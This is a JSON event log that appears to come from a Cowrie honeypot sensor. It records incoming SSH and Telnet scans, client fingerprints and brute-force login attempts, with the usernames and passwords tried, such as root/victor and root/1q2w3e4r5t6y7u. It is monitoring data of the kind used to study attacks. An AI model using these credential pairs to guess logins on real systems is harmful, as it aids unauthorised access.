{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:49:43.116507Z","src_ip":"80.94.92.184","session":"ee85046ef83a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:49:43.151254Z","src_ip":"87.251.64.176","session":"0464657ac9fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:49:43.251055Z","src_ip":"87.251.64.176","session":"0464657ac9fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:49:43.279704Z","src_ip":"80.94.92.184","session":"ee85046ef83a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"Sol","message":"login attempt [sol/Sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:49:43.832993Z","src_ip":"80.94.92.184","session":"ee85046ef83a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:49:44.997887Z","src_ip":"80.94.92.184","session":"ee85046ef83a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":43584,"dst_ip":"10.17.0.5","dst_port":23,"session":"8048667959b7","protocol":"telnet","message":"New connection: 213.108.3.46:43584 (10.17.0.5:23) [session: 8048667959b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:49:47.728098Z"}
{"eventid":"cowrie.session.closed","duration":0.01706862449645996,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:49:47.745044Z","src_ip":"213.108.3.46","session":"8048667959b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":56742,"dst_ip":"159.203.135.109","dst_port":22,"session":"64c1b595da4a","protocol":"ssh","message":"New connection: 103.75.183.219:56742 (159.203.135.109:22) [session: 64c1b595da4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:50:24.110413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:50:24.115848Z","src_ip":"103.75.183.219","session":"64c1b595da4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:50:24.364390Z","src_ip":"103.75.183.219","session":"64c1b595da4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"victor","message":"login attempt [root/victor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:50:25.388875Z","src_ip":"103.75.183.219","session":"64c1b595da4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.206","src_port":58670,"dst_ip":"159.203.135.109","dst_port":22,"session":"aafabee87603","protocol":"ssh","message":"New connection: 62.133.63.206:58670 (159.203.135.109:22) [session: aafabee87603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:50:26.189631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:50:26.194533Z","src_ip":"62.133.63.206","session":"aafabee87603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:50:26.321150Z","src_ip":"62.133.63.206","session":"aafabee87603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:50:26.639051Z","src_ip":"103.75.183.219","session":"64c1b595da4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:50:26.701941Z","src_ip":"62.133.63.206","session":"aafabee87603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:50:27.835569Z","src_ip":"62.133.63.206","session":"aafabee87603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0253758430481,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:50:52.076758Z","src_ip":"152.42.224.71","session":"464a663bafb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":35546,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fad792fe90d","protocol":"ssh","message":"New connection: 103.172.78.219:35546 (159.203.135.109:22) [session: 7fad792fe90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:51:02.716466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:51:02.722171Z","src_ip":"103.172.78.219","session":"7fad792fe90d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:51:02.980628Z","src_ip":"103.172.78.219","session":"7fad792fe90d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741258963","message":"login attempt [root/741258963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:51:03.754247Z","src_ip":"103.172.78.219","session":"7fad792fe90d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:51:05.015711Z","src_ip":"103.172.78.219","session":"7fad792fe90d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35778,"dst_ip":"10.17.0.5","dst_port":23,"session":"34fb00bc5d66","protocol":"telnet","message":"New connection: 152.42.224.71:35778 (10.17.0.5:23) [session: 34fb00bc5d66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:51:09.450307Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35788,"dst_ip":"10.17.0.5","dst_port":23,"session":"91c09c360dc2","protocol":"telnet","message":"New connection: 152.42.224.71:35788 (10.17.0.5:23) [session: 91c09c360dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:51:10.508978Z"}
{"eventid":"cowrie.session.closed","duration":36.61285042762756,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:51:46.063038Z","src_ip":"152.42.224.71","session":"34fb00bc5d66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55922,"dst_ip":"10.17.0.5","dst_port":23,"session":"4834bba8f521","protocol":"telnet","message":"New connection: 152.42.224.71:55922 (10.17.0.5:23) [session: 4834bba8f521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:51:53.018820Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55906,"dst_ip":"10.17.0.5","dst_port":23,"session":"d44633522068","protocol":"telnet","message":"New connection: 152.42.224.71:55906 (10.17.0.5:23) [session: d44633522068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:51:53.054031Z"}
{"eventid":"cowrie.session.closed","duration":43.13870573043823,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:51:53.647585Z","src_ip":"152.42.224.71","session":"91c09c360dc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.3.96.178","src_port":55840,"dst_ip":"10.17.0.5","dst_port":22,"session":"df72963549d3","protocol":"ssh","message":"New connection: 79.3.96.178:55840 (10.17.0.5:22) [session: df72963549d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:00.925117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:00.930910Z","src_ip":"79.3.96.178","session":"df72963549d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:01.062962Z","src_ip":"79.3.96.178","session":"df72963549d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y7u","message":"login attempt [root/1q2w3e4r5t6y7u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:01.617290Z","src_ip":"79.3.96.178","session":"df72963549d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:02.755721Z","src_ip":"79.3.96.178","session":"df72963549d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":56842,"dst_ip":"159.203.135.109","dst_port":22,"session":"9170387b41b6","protocol":"ssh","message":"New connection: 103.82.132.16:56842 (159.203.135.109:22) [session: 9170387b41b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:07.463680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:07.573267Z","src_ip":"103.82.132.16","session":"9170387b41b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:07.724617Z","src_ip":"103.82.132.16","session":"9170387b41b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000111","message":"login attempt [root/000111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:08.750328Z","src_ip":"103.82.132.16","session":"9170387b41b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:10.027345Z","src_ip":"103.82.132.16","session":"9170387b41b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.633521556854248,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:21.687437Z","src_ip":"152.42.224.71","session":"d44633522068","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":44312,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e689182f196","protocol":"ssh","message":"New connection: 103.27.238.116:44312 (159.203.135.109:22) [session: 2e689182f196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:25.435453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:25.440958Z","src_ip":"103.27.238.116","session":"2e689182f196","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:25.721483Z","src_ip":"103.27.238.116","session":"2e689182f196","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfhbirf","message":"login attempt [root/vfhbirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:26.560560Z","src_ip":"103.27.238.116","session":"2e689182f196","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:27.841954Z","src_ip":"103.27.238.116","session":"2e689182f196","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.315255880355835,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:31.333934Z","src_ip":"152.42.224.71","session":"4834bba8f521","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":51286,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a2351917a10","protocol":"ssh","message":"New connection: 80.94.92.184:51286 (10.17.0.5:22) [session: 4a2351917a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:33.753742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:52:33.848209Z","src_ip":"80.94.92.184","session":"4a2351917a10","protocol":"ssh"}
